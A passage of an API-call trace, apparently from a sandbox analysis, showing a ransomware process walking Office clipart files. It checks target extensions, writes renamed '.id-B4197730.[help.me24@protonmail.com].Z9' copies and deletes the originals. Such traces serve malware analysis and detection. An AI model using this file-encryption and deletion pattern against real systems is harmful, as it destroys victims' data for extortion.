	[0171.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0171.574] lstrlenW (lpString=".dbf") returned 4
	[0171.574] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0171.574] lstrlenW (lpString=".1cd") returned 4
	[0171.574] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0171.574] lstrlenW (lpString=".jpg") returned 4
	[0171.574] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0171.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0171.574] lstrlenW (lpString=".doc") returned 4
	[0171.574] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.574] lstrlenW (lpString=".docx") returned 5
	[0171.574] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0171.574] lstrlenW (lpString=".pdf") returned 4
	[0171.574] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.575] lstrlenW (lpString=".xls") returned 4
	[0171.575] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.575] lstrlenW (lpString=".xlsx") returned 5
	[0171.575] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0171.575] lstrlenW (lpString=".ppt") returned 4
	[0171.575] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0171.575] lstrlenW (lpString=".zip") returned 4
	[0171.575] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.575] lstrlenW (lpString=".rar") returned 4
	[0171.575] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.575] lstrlenW (lpString=".bz2") returned 4
	[0171.575] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.575] lstrlenW (lpString=".7z") returned 3
	[0171.575] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0171.575] lstrlenW (lpString=".dbf") returned 4
	[0171.575] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0171.575] lstrlenW (lpString=".1cd") returned 4
	[0171.575] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0171.575] lstrlenW (lpString=".jpg") returned 4
	[0171.575] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.575] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0171.575] lstrlenW (lpString="J0105412.WMF") returned 12
	[0171.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0171.577] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=9400) returned 1
	[0171.577] CloseHandle (hObject=0x460) returned 1
	[0171.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf")) returned 0x220
	[0171.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0171.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0171.577] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.578] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0171.578] GetLastError () returned 0x0
	[0171.578] ReadFile (in: hFile=0x460, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x24b8, lpOverlapped=0x0) returned 1
	[0171.580] WriteFile (in: hFile=0x520, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x24c0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x24c0, lpOverlapped=0x0) returned 1
	[0171.581] ReadFile (in: hFile=0x460, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.581] WriteFile (in: hFile=0x520, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.582] SetEndOfFile (hFile=0x520) returned 1
	[0171.582] CloseHandle (hObject=0x520) returned 1
	[0171.582] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.582] SetEndOfFile (hFile=0x460) returned 1
	[0171.585] CloseHandle (hObject=0x460) returned 1
	[0171.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0171.585] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf")) returned 1
	[0171.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0171.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0171.586] lstrlenW (lpString=".doc") returned 4
	[0171.586] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.586] lstrlenW (lpString=".docx") returned 5
	[0171.586] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0171.586] lstrlenW (lpString=".pdf") returned 4
	[0171.586] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.586] lstrlenW (lpString=".xls") returned 4
	[0171.586] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.586] lstrlenW (lpString=".xlsx") returned 5
	[0171.586] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0171.586] lstrlenW (lpString=".ppt") returned 4
	[0171.586] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0171.586] lstrlenW (lpString=".zip") returned 4
	[0171.586] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.586] lstrlenW (lpString=".rar") returned 4
	[0171.586] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.586] lstrlenW (lpString=".bz2") returned 4
	[0171.586] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.586] lstrlenW (lpString=".7z") returned 3
	[0171.586] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0171.586] lstrlenW (lpString=".dbf") returned 4
	[0171.586] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0171.586] lstrlenW (lpString=".1cd") returned 4
	[0171.586] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0171.586] lstrlenW (lpString=".jpg") returned 4
	[0171.586] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0171.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0171.587] lstrlenW (lpString=".doc") returned 4
	[0171.587] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.587] lstrlenW (lpString=".docx") returned 5
	[0171.587] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0171.587] lstrlenW (lpString=".pdf") returned 4
	[0171.587] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.587] lstrlenW (lpString=".xls") returned 4
	[0171.587] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.587] lstrlenW (lpString=".xlsx") returned 5
	[0171.587] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0171.587] lstrlenW (lpString=".ppt") returned 4
	[0171.587] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0171.587] lstrlenW (lpString=".zip") returned 4
	[0171.587] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.587] lstrlenW (lpString=".rar") returned 4
	[0171.587] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.587] lstrlenW (lpString=".bz2") returned 4
	[0171.587] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.587] lstrlenW (lpString=".7z") returned 3
	[0171.587] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0171.587] lstrlenW (lpString=".dbf") returned 4
	[0171.587] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0171.587] lstrlenW (lpString=".1cd") returned 4
	[0171.587] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0171.587] lstrlenW (lpString=".jpg") returned 4
	[0171.587] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.588] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0171.588] lstrlenW (lpString="J0105414.WMF") returned 12
	[0171.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0171.588] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=6244) returned 1
	[0171.588] CloseHandle (hObject=0x460) returned 1
	[0171.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf")) returned 0x220
	[0171.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0171.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0171.589] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.589] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0171.590] GetLastError () returned 0x0
	[0171.590] ReadFile (in: hFile=0x460, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x1864, lpOverlapped=0x0) returned 1
	[0171.930] WriteFile (in: hFile=0x520, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x1870, lpOverlapped=0x0) returned 1
	[0171.931] ReadFile (in: hFile=0x460, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.931] WriteFile (in: hFile=0x520, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.931] SetEndOfFile (hFile=0x520) returned 1
	[0172.169] CloseHandle (hObject=0x520) returned 1
	[0172.171] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.185] SetEndOfFile (hFile=0x460) returned 1
	[0172.207] CloseHandle (hObject=0x460) returned 1
	[0172.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0172.208] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf")) returned 1
	[0172.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0172.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0172.209] lstrlenW (lpString=".doc") returned 4
	[0172.209] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.209] lstrlenW (lpString=".docx") returned 5
	[0172.209] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0172.209] lstrlenW (lpString=".pdf") returned 4
	[0172.209] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.209] lstrlenW (lpString=".xls") returned 4
	[0172.209] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.209] lstrlenW (lpString=".xlsx") returned 5
	[0172.209] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0172.209] lstrlenW (lpString=".ppt") returned 4
	[0172.209] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0172.209] lstrlenW (lpString=".zip") returned 4
	[0172.209] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.209] lstrlenW (lpString=".rar") returned 4
	[0172.209] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.209] lstrlenW (lpString=".bz2") returned 4
	[0172.209] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.209] lstrlenW (lpString=".7z") returned 3
	[0172.209] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0172.209] lstrlenW (lpString=".dbf") returned 4
	[0172.209] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0172.210] lstrlenW (lpString=".1cd") returned 4
	[0172.210] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0172.210] lstrlenW (lpString=".jpg") returned 4
	[0172.210] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0172.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0172.210] lstrlenW (lpString=".doc") returned 4
	[0172.210] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.210] lstrlenW (lpString=".docx") returned 5
	[0172.210] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0172.210] lstrlenW (lpString=".pdf") returned 4
	[0172.210] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.210] lstrlenW (lpString=".xls") returned 4
	[0172.210] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.210] lstrlenW (lpString=".xlsx") returned 5
	[0172.210] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0172.210] lstrlenW (lpString=".ppt") returned 4
	[0172.210] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0172.210] lstrlenW (lpString=".zip") returned 4
	[0172.210] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.210] lstrlenW (lpString=".rar") returned 4
	[0172.210] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.210] lstrlenW (lpString=".bz2") returned 4
	[0172.210] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.210] lstrlenW (lpString=".7z") returned 3
	[0172.210] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0172.210] lstrlenW (lpString=".dbf") returned 4
	[0172.210] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0172.211] lstrlenW (lpString=".1cd") returned 4
	[0172.211] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0172.211] lstrlenW (lpString=".jpg") returned 4
	[0172.211] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.211] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0172.211] lstrlenW (lpString="J0105526.WMF") returned 12
	[0172.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0172.337] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=17332) returned 1
	[0172.337] CloseHandle (hObject=0x530) returned 1
	[0172.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf")) returned 0x220
	[0172.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0172.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0172.898] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.903] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0172.907] GetLastError () returned 0x0
	[0172.907] ReadFile (in: hFile=0x4a4, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x43b4, lpOverlapped=0x0) returned 1
	[0172.912] WriteFile (in: hFile=0x55c, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x43c0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x43c0, lpOverlapped=0x0) returned 1
	[0172.914] ReadFile (in: hFile=0x4a4, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.914] WriteFile (in: hFile=0x55c, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0172.915] SetEndOfFile (hFile=0x55c) returned 1
	[0172.915] CloseHandle (hObject=0x55c) returned 1
	[0172.915] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.915] SetEndOfFile (hFile=0x4a4) returned 1
	[0172.918] CloseHandle (hObject=0x4a4) returned 1
	[0172.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0172.920] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf")) returned 1
	[0172.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0172.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0172.921] lstrlenW (lpString=".doc") returned 4
	[0172.921] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.921] lstrlenW (lpString=".docx") returned 5
	[0172.921] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0172.921] lstrlenW (lpString=".pdf") returned 4
	[0172.921] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.921] lstrlenW (lpString=".xls") returned 4
	[0172.921] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.921] lstrlenW (lpString=".xlsx") returned 5
	[0172.921] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0172.921] lstrlenW (lpString=".ppt") returned 4
	[0172.921] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0172.921] lstrlenW (lpString=".zip") returned 4
	[0172.921] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.921] lstrlenW (lpString=".rar") returned 4
	[0172.921] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.921] lstrlenW (lpString=".bz2") returned 4
	[0172.921] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.921] lstrlenW (lpString=".7z") returned 3
	[0172.922] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
